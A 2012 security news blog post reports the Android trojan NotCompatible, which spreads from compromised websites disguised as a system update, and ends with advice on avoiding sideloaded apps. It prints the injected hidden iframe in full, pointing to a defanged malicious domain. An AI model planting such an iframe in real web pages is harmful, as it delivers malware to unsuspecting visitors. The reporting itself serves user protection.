New Drive By Download Malware Notcom Infecting Android Devices

Home / Cyber News / New Drive By Download Malware Notcom Infecting Android Devices

New Drive By Download Malware Notcom Infecting Android Devices

Posted by Deepanker Verma Sunday, May 6, 2012 0 comments

A new Android malware, Notcom (NotCompatible) has been discovered which is infecting Android users by Drive By Download on visiting some malicious websites. These malicious website contain a malicious iframe that looks the USER AGENT string on each visitors request.
The iframe code is this:
<iframe style=”visibility: hidden; display: none; display: none;” src=”hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-BEEF-133713371337}”></iframe>

If it found an Android visitor, it redirects to the device to download a malicious Android package (APK).

This malware do not install automatically and expect users to download and install. It also tries to disguising itself as a security update.

For infection of this malware your device must have the “Unknown sources” setting enabled (this feature is commonly referred to as “sideloading”). If the device does not have the unknown sources setting enabled, the installation will be blocked.

According to Lookout Mobile Security analysis report"

"NotCompatible is a new Android trojan that appears to serve as a simple TCP relay / proxy while posing as a system update. This threat does not currently appear to cause any direct harm to a target device, but could potentially be used to gain illicit access to private networks by turning an infected Android device into a proxy. As previously mentioned, this appears to be the first time that compromised websites have been used to distribute malware targeting Android devices."

Unlike many other Android Trojans this trojan only requests network permissions to access interent, but itsintention doesn't appear to be collecting all of your contact details, SMSs, email and other personal details.

All android users are advised not to download any kind of Android app from any unknown source. Always from Google Play store or from trusted vendor. Only use trusted security updates. Never run after free security updates which can be a malware.